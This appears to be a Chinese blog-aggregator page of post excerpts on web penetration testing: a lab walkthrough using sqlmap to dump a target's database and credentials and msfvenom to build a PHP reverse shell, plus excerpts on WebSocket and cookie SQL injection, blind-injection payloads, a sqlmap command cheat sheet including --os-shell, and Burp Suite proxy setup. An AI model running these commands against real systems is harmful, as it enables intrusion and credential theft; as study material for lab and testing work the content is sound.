sqlmap

XSS跨站脚本

跟風遠走 提交于 2019-12-05 21:57:17
靶机地址:192.168.43.156 攻击机地址:192.168.43.89 一、AppScan检查靶机sql漏洞 二、使用sqlmap利用SQL注入漏洞 1.sqlmap -u " http://192.168.43.156/cat.php?id=1 " –dbs 查看数据库名 2.sqlmap -u " http://192.168.43.156/cat.php?id=1 " -D "photoblog" --tables 表名 3.sqlmap -u " http://192.168.43.156/cat.php?id=1 " -D "photoblog" T "user" --columns 查看字段 4.sqlmap -u " http://192.168.43.156/cat.php?id=1 " -D "photoblog" T "user" -C "login" --dump 用同种方法查找密码 三、建立反弹shell msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw 在桌面建一个文件shell.php 四、登录后台页面 刚在数据库拿到的用户名:admin 密码需要用MD5解密为: P4ssw0rd 在kali系统内 msf > use exploit/multi

基于Websocket接口的SQL注入利用

眉间皱痕 提交于 2019-12-05 02:41:15
昨天在测某项目的时候发现前端中使用的Websocket协议(以下简称WS)传参,因为刚好那天群的某*行的老哥也在测内网的一个使用Websocket协议的应用,所以特意去了解了一下,研究测试后发现存在SQL注入,当时问表哥们sqlmap是否支持该注入,答案是否定的,但表哥给出了解决方案,我们后面讲。 Websocket是什么? WebSocket是H5开始提供的一种在单个TCP连接上进行全双工通讯的协议,它使得client与server之间的数据交换变得更加简单,在websocketAPI 中浏览器和服务器只需做一个握手,两者之间就可以进行互相传送数据。 模拟环境搭建 因为测试目标的敏感,我将采用PHP模拟存在注入的环境并进行测试。 PHP 使用 Websocket可以用第三方的扩展来实现 如: workerman,swoole 因为 workerman搭建起来比较简单 且 支持 Linux和 Windows 环境所以使用 Workerman来搭建。 去workerman官网下载好内核的包 下载后 放入 PHP项目下 查看 官方的 demo 代码 <?php use Workerman\Worker; require_once'./Workerman/Autoloader.php'; //创建一个Worker监听2346端口,使用websocket协议通 $ws_worker=

SQL注入:Cookie注入

百般思念 提交于 2019-12-05 00:03:36
什么是Cookie Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,就表示你可以无需密码直接登陆管理员账号。 Cookie注入的原理 在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上) 很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法 例如: php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参 注:php 5.4以上版本就不会接受Cookie传参了。 如果说开发用了$_REQUEST[]来接受参数,然后我们的POST和GET传参被Waf拦截了怎么办? 那么也许没有对进行检测,我们尝试用进行传参,然后不就可以绕过检测机制 Cookie注入的方法 1.抓取数据包,添加Cookie字段在请求头 Cookie传参值需要URL编码,记得将传参的值URL编码下 在线URL: http://tool.chinaz.com/Tools/urlencode.aspx 2.在浏览器上设置Cookie 浏览器页面按F12调出开发者工具,选择Console打开浏览器的控制台,输入js语句设置Cookie: 通过document.cookie来设置Cookie Cookie名字为 id escape是一个编码函数,这个函数会进行一次URL编码 3.Sqlmap工具 例:

Sqlmap基础指令

血红的双手。 提交于 2019-12-04 21:14:15
安装: 下载地址: https://github.com/sqlmapproject/sqlmap 下载好后直接解压,并且加入环境变量,就可以直接在cmd调用 常用基础指令: -u 指定注入点 --dbs 跑库名 --tables 跑表名 --columns 跑字段名 --dump 枚举数据 -D 指定库 -T 指定表 -C 指定字段 sqlmap.py -u IP地址 -D 库名 -T 表名 -C 字段1,字段2 --dump 常见指令: # 选择随机user-agents头 --random-agent # 每次探测延时1秒(防止访问过快被ban) --delay=1 # 查看数据量 --count # 使用本地1080端口 --proxy "http://127.0.0.1:1080" # 1-5 测试等级(最低1,最高5) level等级越高检测越详细 --level 例如 level大于2会检测cookie注入,大于3会检测头注入 # 查询当前用户权限,如果DBA是True可以尝试直接拿webshell --is-dba # 尝试往网站中放入一个cmdshell(就是拥有cmd权限的shell),先选择写入shell的脚本语言 --os-shell # 清空缓存重新测试 --flush-session 注:有的需要填写网站的web目录的绝对路径

SQL注入:盲注

会有一股神秘感。 提交于 2019-12-04 21:12:51
盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。 服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。 盲注分类 1.布尔盲注 布尔很明显Ture和Fales,也就是说它只会根据你的注入信息返回True和Fales,也就没有了之前的报错信息。 2.时间盲注 界面返回值只有一种,True。无论输入和值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。 盲注需要掌握的函数 length() 函数 返回字符串的长度 substr() 截取字符串 (语法:SUBSTR(str,pos,len);) ascii() 返回字符的ascii码 [将字符变为数字wei] sleep() 将程序挂起一段时间n为n秒 if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 注入步骤 1.猜解数据库名称长度 id=1'and(length(database()))>n 2.猜解数库名称 and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s 3.猜表名 and (ascii(substr((select table_name from information_schema.tables where

SQL注入学习资料总结

本秂侑毒 提交于 2019-12-04 17:43:56
什么是 SQL注入 SQL 注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的 数据库系统 在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。 SQL注入(SQL Injection)是一种常见的 web安全 漏洞,攻击者利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。 SQL注入产生原因 针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的: 1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句 2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中 sql注入攻击 方式 SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注: 1、可显注入:攻击者可以直接在当前界面内容中获取想要获得的内容 2、报错注入

iBatis SqlMap的配备总结

孤街浪徒 提交于 2019-12-04 06:58:19
iBatis SqlMap的配置总结 核心提示:SqlMap的配置是iBatis中应用的核心。这部分任务占据了iBatis开发的70的工作量。 1、命名空间: sqlMap namespace=Account,在此空间外要引用此空间的元素,则需要加上命名空间名。 2、实体的别名: typeAlias alias=Account type=com.lavasoft.ibatissut.sim SqlMap的配置是iBatis中应用的核心。这部分任务占据了iBatis开发的70的工作量。 1、命名空间: <sqlMap namespace="Account">,在此空间外要引用此空间的元素,则需要加上命名空间名。 2、实体的别名: <typeAlias alias="Account" type="com.lavasoft.ibatissut.simple.domain.entity.Account"/> 如果有用到的全名的地方,可以用别名代替,受命名空间约束。 3、插入操作 对于自增主键的表,插入可以不配置插入的主键列。否则是必须的。 4、获取主键 插入语句之前配置:主要是针对Sequence主键而言,插入前必须指定一个主键值给要插入的记录。Oracle、DB2亦如此,方法是在插入语句标签<insert....>之前配置上: <insert id="insertAccount"

ibatis sqlMap 使用

爷,独闯天下 提交于 2019-12-04 06:58:05
SqlMap的配置是iBatis中应用的核心。这部分任务占据了iBatis开发的70的工作量。 1、命名空间: <sqlMap namespace="Account"> 在此空间外要引用此空间的元素,则需要加上命名空间名。 2、实体的别名: <typeAlias alias="Account" type="com.lavasoft.ibatissut.simple.domain.entity.Account"/> 如果有用到的全名的地方,可以用别名代替,受命名空间约束。 3、插入操作 对于自增主键的表,插入可以不配置插入的主键列。否则是必须的。 4、获取主键 插入语句之前配置:主要是针对Sequence主键而言,插入前必须指定一个主键值给要插入的记录。Oracle、DB2亦如此,方法是在插入语句标签<insert....>之前配置上: <insert id="insertAccount" parameterClass="Account"> <selectKey resultClass="long" keyProperty="sctId"> SELECT SEQ_TEST.NEXTVAL FROM DUAL </selectKey> insert into .... ........ </insert> 插入语句之后配置:主要是针对自增主键的表而言,这类表在插入时不需要主键

sqlmap应用

↘锁芯ラ 提交于 2019-12-04 06:00:53
-h,--help 展示基础的帮助消息并退出 -hh 展示高级的帮助消息并退出 --version 展示程序的版本号并退出 -v VERBOSE 信息等级:0-6,默认为1 目标: -u URL, --url=URL -g GOOGLEDORK 请求: --data=DATA 数据字符串由POST发送 --cookie=COOKIE --random-agent 使用随机选择的HTTP用户代理头部值 --proxy=PROXY 使用一个代理连接目标URL --tor 使用TOR匿名网络 --check-tor 检查是否可以使用TOR 注入: 这些操作可以用来指定哪些参数被测试,提供自定义的注入有效负载和可选的篡改脚本. -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强迫提供DBMS值 侦查: --level=LEVEL 执行的测试等级,1-5,默认为1 --risk=RISK 执行的测试风险,1-3,默认为1 技术: --technique=TECH SQL注入技术使用,默认BEUSTQ 枚举: -a,--all 检索一切 -b, --banner 检索DBMS横幅 --current-user 检索DBMS现在的用户 --current-db 检索DBMS现在的数据库 --passwords 枚举DBMS用户密码散列 --tables

Burpsuite—渗透测试神器

孤者浪人 提交于 2019-12-03 23:27:38
Google浏览器插件---SwitchyOmega Firefox浏览器插件---SwitchyOmega hosts代理工具---SwitchHosts【右击使用管理员权限打开】 双击burp-loader-keygen.jar,运行burpsuite Https请求设置   在使用Burp Suite对Https进行拦截时会提示不是私密连接或此连接不信任,Burp默认只能抓Http请求,Https因为包含证书,因此不能抓取,需要设置可信证书。   注: SwitchHosts切换代理环境时,Burpsuite会存在缓存时间,大概5分钟,如想设置的代理马上生效,可以将Burpsuite关闭重新打开。 Foxfire 导入证书   1. 在浏览器中输入http://localhost:8080或http://burp,点击页面右上角的CA Certificate,下载本地Burp证书(cacert.der)   2. Foxfire首选项->高级->证书->查看证书->证书机构->导入,选择cacert.der文件 代理   1. 在Foxfire浏览器中输入about:addons,进入附加组件列表页面;   2. 选择“扩展”,在搜索框中输入SwitchyOmega,点击安装;   3. 安装成功后,点击SwitchyOmega的图标,选项,输入代理信息。 Chrome